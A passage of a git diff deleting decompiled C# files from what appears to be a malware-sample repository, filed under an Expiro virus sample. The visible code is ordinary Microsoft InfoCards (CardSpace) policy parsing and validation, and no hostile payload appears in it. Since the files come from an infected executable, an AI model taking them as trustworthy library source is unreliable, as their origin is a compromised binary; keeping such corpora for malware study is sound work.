this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadRequestType(reader); - flag = true; - } - else if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 == this.ProtocolVersionProfile.WSTrust.Version && reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.SecondaryParameters, this.ProtocolVersionProfile.WSTrust.Namespace)) - this.ReadSecondaryParameters(reader); - else if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 == this.ProtocolVersionProfile.WSTrust.Version && reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.KeyWrapAlgorithm, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadKeyWrapAlgorithm(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSPolicy.AppliesTo, this.ProtocolVersionProfile.WSPolicy.Namespace)) - { - this.ReadAppliesTo(reader); - flag = true; - } - else - reader.Skip(); - if (flag) - reader.ReadEndElement(); - } - else - { - if (!InfoCardConstants.DoesLocalTokenFactoryWhiteListContain(reader.NamespaceURI, reader.LocalName)) - { - this.m_nonWhiteListElementFound = true; - this.m_nonWhiteListElements.Add(reader.LocalName); - } - this.CopyUnprocessedPolicyElements(reader); - } - } - reader.ReadEndElement(); - } - catch (FormatException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidPolicySpecified"), (Exception) ex)); - } - catch (XmlException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidPolicySpecified"), (Exception) ex)); - } - catch (InvalidOperationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidPolicySpecified"), (Exception) ex)); - } - } - - private void ReadClaims(XmlReader reader) - { - List stringList1 = new List(); - List stringList2 = new List(); - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.ClaimsElement != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - if (XmlNodeType.Element != reader.NodeType) - return; - if (reader.IsEmptyElement) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("NoClaimsFoundInPolicy"))); - if (!reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.ClaimsElement, this.ProtocolVersionProfile.WSTrust.Namespace)) - return; - if (reader.IsEmptyElement) - { - reader.Read(); - } - else - { - reader.Read(); - while (reader.IsStartElement()) - { - if (reader.IsStartElement("ClaimType", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - { - if (XmlNodeType.EndElement != reader.NodeType) - { - string attribute1 = reader.GetAttribute("Uri", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (string.IsNullOrEmpty(attribute1)) - attribute1 = reader.GetAttribute("Uri"); - if (string.IsNullOrEmpty(attribute1)) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("ServiceInvalidClaimUri"))); - string attribute2 = reader.GetAttribute("Optional"); - bool flag1 = false; - if (!string.IsNullOrEmpty(attribute2)) - flag1 = XmlConvert.ToBoolean(attribute2); - bool flag2 = false; - bool flag3 = false; - foreach (string str in stringList1) - { - if (str == attribute1) - { - flag3 = true; - break; - } - } - foreach (string str in stringList2) - { - if (str == attribute1) - { - flag2 = true; - flag3 = true; - break; - } - } - if (flag1) - { - if (!flag3) - stringList2.Add(attribute1); - } - else if (!flag3) - stringList1.Add(attribute1); - else if (flag2) - { - stringList2.Remove(attribute1); - stringList1.Add(attribute1); - } - if (reader.IsEmptyElement) - { - reader.Read(); - } - else - { - reader.Read(); - reader.ReadEndElement(); - } - } - else - break; - } - else - reader.Skip(); - } - } - InfoCardTrace.ThrowInvalidArgumentConditional(XmlNodeType.EndElement != reader.NodeType, reader.NodeType.ToString()); - this.m_requiredClaimUris = stringList1.ToArray(); - this.m_optionalClaimUris = stringList2.ToArray(); - } - - private void ReadTokenType(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.TokenType != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_optionalRstParams.TokenType = reader.ReadString(); - } - - public void ReadAppliesTo(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSPolicy.AppliesTo != reader.LocalName || this.ProtocolVersionProfile.WSPolicy.Namespace != reader.NamespaceURI, reader.LocalName); - if (reader.IsEmptyElement) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidAppliesToInPolicy", (object) SR.GetString("AppliesToMustOnlyHaveEndpointAddress")))); - reader.Read(); - EndpointAddress endpointAddress = (EndpointAddress) null; - if (XmlNodeType.EndElement != reader.NodeType) - { - try - { - endpointAddress = EndpointAddress.ReadFrom(XmlDictionaryReader.CreateDictionaryReader(reader.ReadSubtree())); - reader.ReadEndElement(); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - else - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidAppliesToInPolicy", (object) SR.GetString("AppliesToMustOnlyHaveEndpointAddress")), ex)); - } - if (reader.IsStartElement()) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidAppliesToInPolicy", (object) SR.GetString("AppliesToMustOnlyHaveEndpointAddress")))); - } - this.m_policyAppliesToEpr = endpointAddress; - } - - private void ReadKeyType(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.KeyType != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - Uri uri = new Uri(reader.ReadString()); - if (this.ProtocolVersionProfile.WSTrust.KeyTypeSymmetric.Equals((object) uri)) - this.m_keyType = SecurityKeyTypeInternal.SymmetricKey; - else if (this.ProtocolVersionProfile.WSTrust.KeyTypeAsymmetric.Equals((object) uri)) - this.m_keyType = SecurityKeyTypeInternal.AsymmetricKey; - else if (this.ProtocolVersionProfile.WSTrust.KeyTypeBearer.Equals((object) uri)) - this.m_keyType = SecurityKeyTypeInternal.NoKey; - else - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("KeyTypeNotRecognized", (object) uri.ToString()))); - this.m_keyTypeSpecified = true; - } - - private void ReadKeySize(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.KeySize != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - try - { - this.m_keySize = Convert.ToUInt32(reader.ReadString(), (IFormatProvider) CultureInfo.InvariantCulture); - } - catch (FormatException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("ServiceBadKeySizeInPolicy"), (Exception) ex)); - } - catch (OverflowException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("ServiceBadKeySizeInPolicy"), (Exception) ex)); - } - this.m_keySizeSpecified = true; - } - - private void ReadSignatureAlgorithm(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.SignatureAlgorithm != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_optionalRstParams.SignatureAlgorithm = reader.ReadString(); - } - - private void ReadEncryptionAlgorithm(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.EncryptionAlgorithm != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_optionalRstParams.EncryptionAlgorithm = reader.ReadString(); - } - - private void ReadCanonicalizationAlgorithm(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.CanonicalizationAlgorithm != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_optionalRstParams.CanonicalizationAlgorithm = reader.ReadString(); - } - - private void ReadEncryptWith(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.EncryptWith != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_optionalRstParams.EncryptWith = reader.ReadString(); - } - - private void ReadSignWith(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.SignWith != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_optionalRstParams.SignWith = reader.ReadString(); - } - - private void ReadRequestType(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.RequestType != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_requestType = reader.ReadString(); - } - - private void ReadSecondaryParameters(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.SecondaryParameters != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - while (reader.IsStartElement()) - reader.Skip(); - } - - private void ReadKeyWrapAlgorithm(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.KeyWrapAlgorithm != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_optionalRstParams.KeyWrapAlgorithm = reader.ReadString(); - } - - private void CopyUnprocessedPolicyElements(XmlReader reader) - { - if (this.m_unprocessedPolicyElements == null) - this.m_unprocessedPolicyElements = new MemoryStream(); - XmlWriter xmlWriter = XmlWriter.Create((Stream) this.m_unprocessedPolicyElements, new XmlWriterSettings() - { - OmitXmlDeclaration = true - }); - xmlWriter.WriteNode(reader, true); - xmlWriter.Flush(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PolicyFactory.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PolicyFactory.cs deleted file mode 100644 index e3b9541f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PolicyFactory.cs +++ /dev/null @@ -1,141 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PolicyFactory -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.Globalization; -using System.IdentityModel.Selectors; -using System.IO; -using System.ServiceModel; -using System.ServiceModel.Security.Tokens; -using System.Text; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class PolicyFactory - { - private PolicyFactory() - { - } - - public static Policy CreatePolicyFromUnwrappedPolicyXml(string originalPolicyXml) - { - string rstPolicyXml = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "<{0}:{1} xmlns:{0}='{2}'>{3}", (object) XmlNames.WSSecurityPolicyXmlSoap2005.Instance.DefaultPrefix, (object) XmlNames.WSSecurityPolicyXmlSoap2005.Instance.RequestSecurityTokenTemplate, (object) XmlNames.WSSecurityPolicyXmlSoap2005.Instance.Namespace, (object) originalPolicyXml); - return new Policy(originalPolicyXml, rstPolicyXml); - } - - public static InfoCardPolicy CreatePolicyForCustomTokenProvider( - EndpointAddress immediateTokenRecipient, - IssuedSecurityTokenParameters issuedTokenParameters, - ProtocolProfile profile) - { - ParsedPolicy parsedPolicy = PolicyFactory.CreateParsedPolicy((IEnumerable) issuedTokenParameters.CreateRequestParameters(profile.MsgSecurityVersion, (SecurityTokenSerializer) profile.TokenSerializer)); - return new InfoCardPolicy(immediateTokenRecipient, issuedTokenParameters.IssuerAddress, parsedPolicy, PolicyUsageContext.GetToken, (string) null, 0U, (RecipientIdentity) null, false); - } - - public static InfoCardPolicy CreatePolicyForGetBrowserTokenRequest( - CardSpacePolicyElement policyElement, - Uri recipientPolicyNoticeLink, - uint recipientPolicyNoticeVersion, - RecipientIdentity recipientIdentity, - PolicyUsageContext usageContext) - { - EndpointAddress immediateTokenRecipient = (EndpointAddress) null; - if (!string.IsNullOrEmpty(policyElement.Target.OuterXml)) - immediateTokenRecipient = PolicyFactory.CreateEndpointAddressFromString(policyElement.Target.OuterXml); - EndpointAddress issuer = (EndpointAddress) null; - if (policyElement.Issuer != null && !string.IsNullOrEmpty(policyElement.Issuer.OuterXml)) - issuer = PolicyFactory.CreateEndpointAddressFromString(policyElement.Issuer.OuterXml); - ParsedPolicy parsedPolicy = PolicyFactory.CreateParsedPolicy((IEnumerable) policyElement.Parameters); - return new InfoCardPolicy(immediateTokenRecipient, issuer, parsedPolicy, usageContext, (Uri) null != recipientPolicyNoticeLink ? recipientPolicyNoticeLink.ToString() : (string) null, recipientPolicyNoticeVersion, recipientIdentity, false); - } - - public static InfoCardPolicy CreatePolicyForIntermediateGetBrowserTokenRequest( - CardSpacePolicyElement policyElement, - Uri recipientPolicyNoticeLink, - uint recipientPolicyNoticeVersion, - RecipientIdentity recipientIdentity) - { - EndpointAddress immediateTokenRecipient = (EndpointAddress) null; - if (!string.IsNullOrEmpty(policyElement.Target.OuterXml)) - immediateTokenRecipient = PolicyFactory.CreateEndpointAddressFromString(policyElement.Target.OuterXml); - EndpointAddress issuer = (EndpointAddress) null; - if (policyElement.Issuer != null && !string.IsNullOrEmpty(policyElement.Issuer.OuterXml)) - issuer = PolicyFactory.CreateEndpointAddressFromString(policyElement.Issuer.OuterXml); - ParsedPolicy parsedPolicy = PolicyFactory.CreateParsedPolicy((IEnumerable) policyElement.Parameters); - return new InfoCardPolicy(immediateTokenRecipient, issuer, parsedPolicy, PolicyUsageContext.Intermediate, (Uri) null != recipientPolicyNoticeLink ? recipientPolicyNoticeLink.ToString() : (string) null, recipientPolicyNoticeVersion, recipientIdentity, false); - } - - public static InfoCardPolicy CreatePolicyForGetTokenRequest( - BinaryReader reader, - string recipientXml, - string issuerXml, - string policyXml, - bool isManaged) - { - if (!string.IsNullOrEmpty(policyXml)) - { - string xml = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "<{0}:{1} xmlns:{0}='{2}'>{3}", (object) XmlNames.WSSecurityPolicyXmlSoap2005.Instance.DefaultPrefix, (object) XmlNames.WSSecurityPolicyXmlSoap2005.Instance.RequestSecurityTokenTemplate, (object) XmlNames.WSSecurityPolicyXmlSoap2005.Instance.Namespace, (object) policyXml); - XmlDocument xmlDocument = new XmlDocument(); - xmlDocument.LoadXml(xml); - Collection elements = new Collection(); - foreach (XmlElement childNode in xmlDocument.DocumentElement.ChildNodes) - elements.Add(childNode); - ParsedPolicy parsedPolicy = PolicyFactory.CreateParsedPolicy((IEnumerable) elements); - return new InfoCardPolicy(!string.IsNullOrEmpty(recipientXml) ? PolicyFactory.CreateEndpointAddressFromString(recipientXml) : (EndpointAddress) null, !string.IsNullOrEmpty(issuerXml) ? PolicyFactory.CreateEndpointAddressFromString(issuerXml) : (EndpointAddress) null, parsedPolicy, PolicyUsageContext.GetToken, (string) null, 0U, (RecipientIdentity) null, isManaged); - } - if (!isManaged) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidPolicySpecified"))); - return new InfoCardPolicy(!string.IsNullOrEmpty(recipientXml) ? PolicyFactory.CreateEndpointAddressFromString(recipientXml) : (EndpointAddress) null, !string.IsNullOrEmpty(issuerXml) ? PolicyFactory.CreateEndpointAddressFromString(issuerXml) : (EndpointAddress) null, (ParsedPolicy) null, PolicyUsageContext.GetToken, (string) null, 0U, (RecipientIdentity) null, isManaged); - } - - private static ParsedPolicy CreateParsedPolicy(IEnumerable elements) - { - try - { - XmlElement xmlElement = (XmlElement) null; - StringBuilder stringBuilder1 = new StringBuilder(); - StringBuilder stringBuilder2 = new StringBuilder(); - foreach (XmlElement element in elements) - { - stringBuilder2.Append(element.OuterXml); - if (element.LocalName == "SecondaryParameters" && element.NamespaceURI == "http://docs.oasis-open.org/ws-sx/ws-trust/200512") - xmlElement = element; - else - stringBuilder1.Append(element.OuterXml); - } - return xmlElement != null ? new ParsedPolicy(stringBuilder2.ToString(), stringBuilder1.ToString(), xmlElement.InnerXml) : new ParsedPolicy(stringBuilder2.ToString(), stringBuilder1.ToString(), (string) null); - } - catch (XmlException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidPolicySpecified"), (Exception) ex)); - } - } - - private static EndpointAddress CreateEndpointAddressFromString(string fragment) - { - try - { - using (XmlReader reader = PolicyFactory.LoadXmlIntoReader(fragment.Trim())) - { - reader.MoveToElement(); - return EndpointAddress.ReadFrom(XmlDictionaryReader.CreateDictionaryReader(reader)); - } - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("ServiceInvalidEprInPolicy"), ex)); - throw; - } - } - - private static XmlReader LoadXmlIntoReader(string fragment) => InfoCardSchemas.CreateReader(fragment); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PolicyType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PolicyType.cs deleted file mode 100644 index 15e24a2d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PolicyType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PolicyType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -namespace Microsoft.InfoCards -{ - internal enum PolicyType - { - PrimaryOnly, - SecondaryOnly, - Composite, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PolicyUsageContext.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PolicyUsageContext.cs deleted file mode 100644 index 2304789a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PolicyUsageContext.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PolicyUsageContext -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -namespace Microsoft.InfoCards -{ - internal enum PolicyUsageContext - { - Browser, - Intermediate, - GetToken, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PolicyUtility.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PolicyUtility.cs deleted file mode 100644 index 0a483896..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PolicyUtility.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PolicyUtility -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -namespace Microsoft.InfoCards -{ - internal class PolicyUtility - { - public static bool IsSelfIssuedTokenType(string tokenType) => "urn:oasis:names:tc:SAML:1.0:assertion" == tokenType || "urn:oasis:names:tc:SAML:1.0:assertion" == tokenType || "http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1" == tokenType; - - public static bool IsSelfIssuedClaim(string claimType) - { - foreach (string selfIssuedClaimsUri in InfoCardConstants.SelfIssuedClaimsUris) - { - if (selfIssuedClaimsUri == claimType) - return true; - } - return InfoCardConstants.PPIDClaimsUri == claimType; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PolicyValidationException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PolicyValidationException.cs deleted file mode 100644 index 83b04724..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PolicyValidationException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PolicyValidationException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class PolicyValidationException : InfoCardBaseException - { - private const int HRESULT = -1073413877; - - public PolicyValidationException() - : base(-1073413877) - { - } - - public PolicyValidationException(string message) - : base(-1073413877, message) - { - } - - public PolicyValidationException(string message, Exception inner) - : base(-1073413877, message, inner) - { - } - - protected PolicyValidationException(SerializationInfo si, StreamingContext sc) - : base(-1073413877, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PolicyValidator.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PolicyValidator.cs deleted file mode 100644 index 2f1e951c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PolicyValidator.cs +++ /dev/null @@ -1,139 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PolicyValidator -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.ServiceModel; -using System.ServiceModel.Security; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class PolicyValidator - { - private InfoCardPolicy m_policy; - - public PolicyValidator(InfoCardPolicy policy) - { - InfoCardTrace.Assert(null != policy, "PolicyValidator: policy cannot be null."); - this.m_policy = policy; - } - - public virtual void Validate() - { - this.ValidateClaims(); - this.ValidateNonWhiteListElements(); - this.ValidateRequestType(); - this.ValidateTokenType(); - this.ValidateKeySize(); - this.ValidatePrivacyVersion(); - this.ValidateKeyTypeSpecified(); - this.ValidateKeyType(); - this.ValidateKeyWrapAlgorithm(); - this.ValidateAppliesTo(); - this.ValidateRecipients(); - } - - protected void ValidateClaims() - { - string[] requiredClaims = this.m_policy.RequiredClaims; - if (requiredClaims == null || requiredClaims.Length == 0) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("NoClaimsFoundInPolicy"))); - foreach (string requiredClaim in this.m_policy.RequiredClaims) - { - if (!PolicyUtility.IsSelfIssuedClaim(requiredClaim)) - this.ThrowIfSelfIssued((Exception) new UnsupportedPolicyOptionsException(SR.GetString("ServiceDoesNotSupportThisClaim"))); - } - } - - protected void ValidateNonWhiteListElements() - { - if (!this.m_policy.NonWhiteListElementsFound) - return; - StringBuilder stringBuilder = new StringBuilder(); - foreach (string whiteListElement in this.m_policy.NonWhiteListElements) - { - stringBuilder.Append(" "); - stringBuilder.Append(whiteListElement); - } - this.ThrowIfSelfIssued((Exception) new UnsupportedPolicyOptionsException(SR.GetString("ServiceUnsupportedPolicyElementFound", (object) stringBuilder.ToString()))); - } - - protected void ValidateRequestType() - { - if (!string.IsNullOrEmpty(this.m_policy.RequestType) && this.m_policy.MergedPolicy.ProtocolVersionProfile.WSTrust.IssueRequestType != this.m_policy.RequestType) - throw InfoCardTrace.ThrowHelperError((Exception) new UnsupportedPolicyOptionsException(SR.GetString("OnlyIssueRequestTypeSupported", (object) this.m_policy.RequestType, (object) this.m_policy.MergedPolicy.ProtocolVersionProfile.WSTrust.IssueRequestType))); - } - - protected void ValidateTokenType() - { - if (string.IsNullOrEmpty(this.m_policy.OptionalRstParams.TokenType) || PolicyUtility.IsSelfIssuedTokenType(this.m_policy.OptionalRstParams.TokenType)) - return; - this.ThrowIfSelfIssued((Exception) new UnsupportedPolicyOptionsException(SR.GetString("ServiceDoesNotSupportThisTokenType"))); - } - - protected void ValidateKeySize() - { - if (SecurityKeyTypeInternal.AsymmetricKey == this.m_policy.KeyType && this.m_policy.KeySizeSpecified && 2048U != this.m_policy.KeySize) - throw InfoCardTrace.ThrowHelperError((Exception) new UnsupportedPolicyOptionsException(SR.GetString("ServiceInvalidAsymmetricKeySize"))); - } - - protected void ValidatePrivacyVersion() - { - if (this.m_policy.PrivacyPolicyVersion == 0U && !string.IsNullOrEmpty(this.m_policy.PrivacyPolicyLink) || this.m_policy.PrivacyPolicyVersion != 0U && string.IsNullOrEmpty(this.m_policy.PrivacyPolicyLink)) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("ServiceInvalidPrivacyNoticeVersion"))); - } - - protected void ValidateKeyTypeSpecified() - { - if (SecurityKeyTypeInternal.NoKey == this.m_policy.MergedPolicy.KeyType) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("NoProofKeyOnlyAllowedInBrowser", (object) XmlNames.WSIdentity.NoProofKeyTypeValue))); - } - - protected void ValidateKeyType() - { - if (this.m_policy.ImmediateTokenRecipient is X509RecipientIdentity || !this.m_policy.KeyTypeSpecified || this.m_policy.KeyType != SecurityKeyTypeInternal.SymmetricKey) - return; - this.ThrowIfSelfIssued((Exception) new UnsupportedPolicyOptionsException(SR.GetString("InvalidKeyOption"))); - } - - protected void ValidateKeyWrapAlgorithm() - { - if (string.IsNullOrEmpty(this.m_policy.OptionalRstParams.KeyWrapAlgorithm) || !(this.m_policy.OptionalRstParams.KeyWrapAlgorithm != SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm)) - return; - this.ThrowIfSelfIssued((Exception) new UnsupportedPolicyOptionsException(SR.GetString("ServiceInvalidArguments"))); - } - - protected void ValidateRecipients() - { - this.m_policy.Recipient.Validate(); - this.m_policy.ImmediateTokenRecipient.Validate(); - } - - protected void ValidateAppliesTo() - { - if ((EndpointAddress) null == this.m_policy.MergedPolicy.PolicyAppliesTo) - return; - if (Uri.Compare(this.m_policy.MergedPolicy.PolicyAppliesTo.Uri, this.m_policy.ImmediateTokenRecipient.Address.Uri, UriComponents.SchemeAndServer, UriFormat.UriEscaped, StringComparison.OrdinalIgnoreCase) != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidAppliesToInPolicy", (object) SR.GetString("RecipientNotFromSameSecurityDomain")))); - string components1 = this.m_policy.MergedPolicy.PolicyAppliesTo.Uri.GetComponents(UriComponents.Path, UriFormat.UriEscaped); - string components2 = this.m_policy.ImmediateTokenRecipient.Address.Uri.GetComponents(UriComponents.Path, UriFormat.UriEscaped); - if 